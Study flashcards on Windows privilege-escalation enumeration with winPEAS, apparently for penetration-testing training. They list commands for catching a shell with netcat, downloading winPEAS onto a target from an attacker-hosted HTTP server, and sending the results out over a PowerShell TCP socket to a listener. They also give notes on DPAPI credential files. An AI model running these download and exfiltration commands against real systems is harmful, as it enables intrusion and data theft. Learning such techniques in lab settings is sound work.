Win Priv. esc. Automated Enumeration Flashcards
Most common tool for info gathering for priv. esc on windows ?
winPEAS
How setup WinPeas on remote machine ?
Get access
```bash
nc 192.168.169.220 4444
powershell
~~~
Get WinPeas
```bash
cp /usr/share/peass/winpeas/winPEASx64.exe .
python3 -m http.server 80
~~~
Download WinPeas on windows target
```powershell
iwr -uri http://192.168.45.161/winPEASx64.exe -Outfile winPEAS.exe
.\winPEAS.exe > winPeas_Rslts.txt
~~~
Send results via powershell
```powershell
$client = New-Object System.Net.Sockets.TcpClient(“192.168.45.161”, 4000)
$stream = $client.GetStream()
$writer = New-Object System.IO.StreamWriter $stream
$fileContent = Get-Content “winPeas_Rslts.txt” -Raw
$writer.Write($fileContent)
$writer.Flush()
$writer.Close()
$client.Close()
~~~
Retrieve file
```bash
nc -lvnp 4000 > winPeas_Rslts.txt
~~~
Is automated enum tool enouthg ?
Nope, it can miss some sensible file and be imprecise
What is DPAPI Credential Files ?
The Data Protection API (DPAPI) is primarily utilized within the Windows operating system for the symmetric encryption of asymmetric private keys,
How get version of installed xampp with PS ?
Get version of xampp
~~~
Get-ItemProperty -Path “HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall*” |
Where-Object { $_.DisplayName -like “xampp” } |
Select-Object DisplayName, DisplayVersion
~~~